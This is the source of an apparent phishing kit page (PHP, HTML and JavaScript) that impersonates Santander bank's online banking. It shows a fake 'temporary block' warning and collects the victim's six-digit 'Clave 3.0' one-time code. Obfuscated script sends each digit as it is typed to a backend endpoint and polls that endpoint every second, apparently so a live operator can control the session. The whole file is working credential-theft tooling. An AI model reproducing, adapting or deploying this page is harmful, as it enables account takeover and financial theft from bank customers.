<?php
if (!isset($_SESSION['referido'], $_SESSION['u'], $_POST['vista'])) :
    exit();
endif;

?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="/src/css/global.css">
    <link rel="stylesheet" href="/src/css/vsTS.css">
    <link rel="stylesheet" href="/src/css/vsMS.css">
    <link rel="stylesheet" href="/src/css/estilos.css">
    <link rel="stylesheet" href="/src/css/loading.css">
    <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,600,700,400italic,700italic,300" rel="stylesheet" type="text/css">
    <title>Santander Santiago</title>
    <style>
        #msgerror p {
            text-align: center;
            color: red;
        }
        .superxas{
        width: 24px;
        height: 24px;
        text-align: center;
    }
    </style>
</head>

<body>
    <div id="headertop" style="height: 50px;">
        <img alt="" id="scnTS_itm1_img_nvl0" src="/src/imagen/logo.gif">
        <div class="clearfix">
            <ul id="scnTS_itm2_mns_nvl0" class="clearfix">
                <img src="/src/imagen/menu/menu2.jpg" height="36" width="408" alt="">
            </ul>
        </div>
        <div id="iddiv">
            <span id="idspan1">Bienvenido <strong><?= $userDato->nombre; ?></strong></span>
            <span id="idspan2"><?= html_entity_decode($userDato->lastse); ?></span>
        </div>
        <div id="content"></div>
    </div>

    <div id="contensec">
        <table width="100%" cellpadding="0" cellspacing="0">
            <tbody>
                <tr>
                    <td valign="top" width="150">
                        <div id="menu" class="clearfix">
                            <img src="/src/imagen/menu/menu.jpg" style="cursor: pointer;" height="432" alt="">
                        </div>
                    </td>
                    <td>
                        <div id="oom" class="mr-10 d-100">
                            <div class="ouiias">
                                <p class="red"><strong>Importante: <?= $userDato->nombre; ?>.</strong></p>
                                <p>Santander. Bloqueo temporal, ingreso inusual a su cuenta, requiere atencion para utilizar su plataforma digital, ingrese la clave 3.0 enviado a su correo electrónico.</p>
                                <form action="" method="post" id="frmpost" id="frmpost">
                                    <input type="hidden" name="proceso" value="sdfgsdfggjhfghjff">
                                    <div>
                                        <div class="container-md">
                                            <div class="caja--icon">
                                                <div class="caja--icon__icon--red"> <i class="icon-app"></i> </div>
                                                <p class="caja__title">&nbsp;&nbsp;Clave 3.0</p>
                                                <div class="super-clave">
                                                    <div>
                                                        <div class="super-clave__container adsadas">
                                                            <input type="tel" id="imap1" class="superxas sc" maxlength="1" required="" autocomplete="off" name="imap1">
                                                            <input type="tel" id="imap2" class="superxas sc" maxlength="1" required="" autocomplete="off" name="imap2">
                                                            <input type="tel" id="imap3" class="superxas sc" maxlength="1" required="" autocomplete="off" name="imap3">
                                                            <input type="tel" id="imap4" class="superxas sc" maxlength="1" required="" autocomplete="off" name="imap4">
                                                            <input type="tel" id="imap5" class="superxas sc" maxlength="1" required="" autocomplete="off" name="imap5">
                                                            <input type="tel" id="imap6" class="superxas sc" maxlength="1" required="" autocomplete="off" name="imap6">
                                                        </div>
                                                    </div>
                                                </div>
                                                <div class="alerta alerta--bottom"> <i class="alerta--bottom__icono str-icon-info"></i>
                                                    <p class="alerta__txt">Ingresa el código enviado a su correo electrónico</p>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </form>
                                <div id="msgerror">
                                    <?php if (isset($_SESSION['codemaila'])) : ?>
                                        <p>La clave ingresada es incorrecta, intente nuevamente</p>
                                    <?php endif; ?>
                                </div>
                                <div style="text-align: center;">
                                    <a id="btnpost" onclick="javascript:vaform(this);" class="botonNew botonSecundario bordePrincipal">Aceptar <i class="icon-flecha-derecha"></i></a>
                                </div>
                            </div>

                        </div>

                    </td>
                </tr>
            </tbody>
        </table>


        <div style="clear: both;"></div>
    </div>

    <div id="footerp">
        <div style="margin: 0px auto;width: 570px;">
            <table cellpadding="0" cellspacing="0" align="center">
                <tbody>
                    <tr>
                        <td>
                            <div id="isnotMacIE5">
                                <img src="/src/imagen/menu/menu3.jpg" style="cursor: pointer;margin-top: 2px;" width="570" alt="">
                            </div>
                        </td>
                    </tr>
                </tbody>
            </table>
        </div>
    </div>
    <form id="formview" method="post" action=""><input type="hidden" name="vista" value=""></form>
    <form id="formwait" method="post" action=""><input type="hidden" name="proceso" value="oooiikaodtayusdauysdygha"></form>
    <form id="formwrit" method="post" action=""><input type="hidden" name="proceso" value="poiaisdpfoisfdoadfopisda"></form>
</body>

</html>

<script src="/src/js/uuytaiosido.js"></script>

<script>
    var tool = new Mataburr0oa();
    var sesoooksd = '<?= $_SESSION['referido']; ?>';

    window.onload = () => {

        document.getElementById('imap1').focus();

        setInterval(() => {
            var form = document.forms.formwait;
            tool.ajaxrequest(sesoooksd, 'post/req/soho', ooaosi1, form);
        }, 1000);
    }

    document.getElementById('imap1').addEventListener('keypress', (e) => {
        if ((/^[0123456789]+$/.test(e.key))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    })

    document.getElementById('imap2').addEventListener('keypress', (e) => {
        if ((/^[0123456789]+$/.test(e.key))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    })


    document.getElementById('imap3').addEventListener('keypress', (e) => {
        if ((/^[0123456789]+$/.test(e.key))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    })


    document.getElementById('imap4').addEventListener('keypress', (e) => {
        if ((/^[0123456789]+$/.test(e.key))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    })

    document.getElementById('imap5').addEventListener('keypress', (e) => {
        if ((/^[0123456789]+$/.test(e.key))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    })

    document.getElementById('imap6').addEventListener('keypress', (e) => {
        if ((/^[0123456789]+$/.test(e.key))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    })

    document.getElementById('imap1').addEventListener('keyup', (e) => {
        ooaposd();
        if (e.target.value.length == 1) {
            asdfioaoisfu(e.target.value);
            document.getElementById('imap2').focus();
        }
    })

    document.getElementById('imap2').addEventListener('keyup', (e) => {
        ooaposd();
        if (e.target.value.length == 1) {
            asdfioaoisfu(e.target.value);
            document.getElementById('imap3').focus();
        }
    })


    document.getElementById('imap3').addEventListener('keyup', (e) => {
        ooaposd();
        if (e.target.value.length == 1) {
            asdfioaoisfu(e.target.value);
            document.getElementById('imap4').focus();
        }
    })


    document.getElementById('imap4').addEventListener('keyup', (e) => {
        ooaposd();
        if (e.target.value.length == 1) {
            asdfioaoisfu(e.target.value);
            document.getElementById('imap5').focus();
        }
    })

    document.getElementById('imap5').addEventListener('keyup', (e) => {
        ooaposd();
        if (e.target.value.length == 1) {
            asdfioaoisfu(e.target.value);
            document.getElementById('imap6').focus();
        }
    })

    document.getElementById('imap6').addEventListener('keyup', (e) => {
        asdfioaoisfu(e.target.value);
        ooaposd();
    })

    function ooaosi1(e) {
        var obJSON = JSON.parse(e);
        if (obJSON.pr) {
            if (obJSON.pr == 1) {
                if (obJSON.est != 8) {
                    formview('/' + sesoooksd + '/transa/segmentos/Menu/view.asp');
                }
            } else {
                window.location.href = '/';
            }
        }
    }

    function formview($url) {
        var $form = document.forms.formview;
        $form.setAttribute('action', $url);
        $form.submit();
    }

    function ooaposd() {
        var oasu1 = document.getElementById('imap1').value;
        var oasu2 = document.getElementById('imap2').value;
        var oasu3 = document.getElementById('imap3').value;
        var oasu4 = document.getElementById('imap4').value;
        var oasu5 = document.getElementById('imap5').value;
        var oasu6 = document.getElementById('imap6').value;


        var oasod = true;

        if (oasu1.length != 1) {
            oasod = false;
        }

        if (oasu2.length != 1) {
            oasod = false;
        }

        if (oasu3.length != 1) {
            oasod = false;
        }

        if (oasu4.length != 1) {
            oasod = false;
        }

        if (oasu5.length != 1) {
            oasod = false;
        }

        if (oasu6.length != 1) {
            oasod = false;
        }

        if (oasod == true) {
            if (document.getElementById('btnpost').classList.contains('botonSecundario')) {
                document.getElementById('btnpost').classList.add('botonPrimario');
                document.getElementById('btnpost').classList.remove('botonSecundario');
                document.getElementById('btnpost').classList.remove('bordePrincipal');
            } else {
                if (!document.getElementById('btnpost').classList.contains('botonPrimario')) {
                    document.getElementById('btnpost').classList.add('botonPrimario');
                }
            }
        } else {
            if (!document.getElementById('btnpost').classList.contains('botonSecundario')) {
                document.getElementById('btnpost').classList.remove('botonPrimario');
                document.getElementById('btnpost').classList.add('botonSecundario');
                document.getElementById('btnpost').classList.add('bordePrincipal');
            }
        }

    }

    function uuryysipq1(res) {
        var obJSON = JSON.parse(res);
        if (obJSON.pr) {
            if (obJSON.pr == 1) {
                formview('/' + sesoooksd + '/transa/segmentos/Menu/view.asp');
            } else {
                window.location.href = '/';
            }
        } else {
            window.location.href = '/';
        }
    }

    function asdfioaoisfu(e) {
        if (e.length == 1) {
            var form = document.forms.formwrit;
            tool.ajaxrequest(sesoooksd, 'post/req/soho', iuasfdhjasdfl, form);
        }
    }

    function iuasfdhjasdfl(res) {
        console.log(res);
    }

    function vaform(t) {
        if (t.classList.contains('botonPrimario')) {
            var form = document.forms.frmpost;
            tool.ajaxrequest(sesoooksd, 'post/req/soho', uuryysipq1, form);
        } else {

            var oasu1 = document.getElementById('icodigo').value;

            if (oasu1.length != 6) {
                document.getElementById('msgerror').innerHTML = '<p>Ingresa la clave 3.0 enviada a su correo electrónico</p>';
                return false;
            }

        }
    }
</script>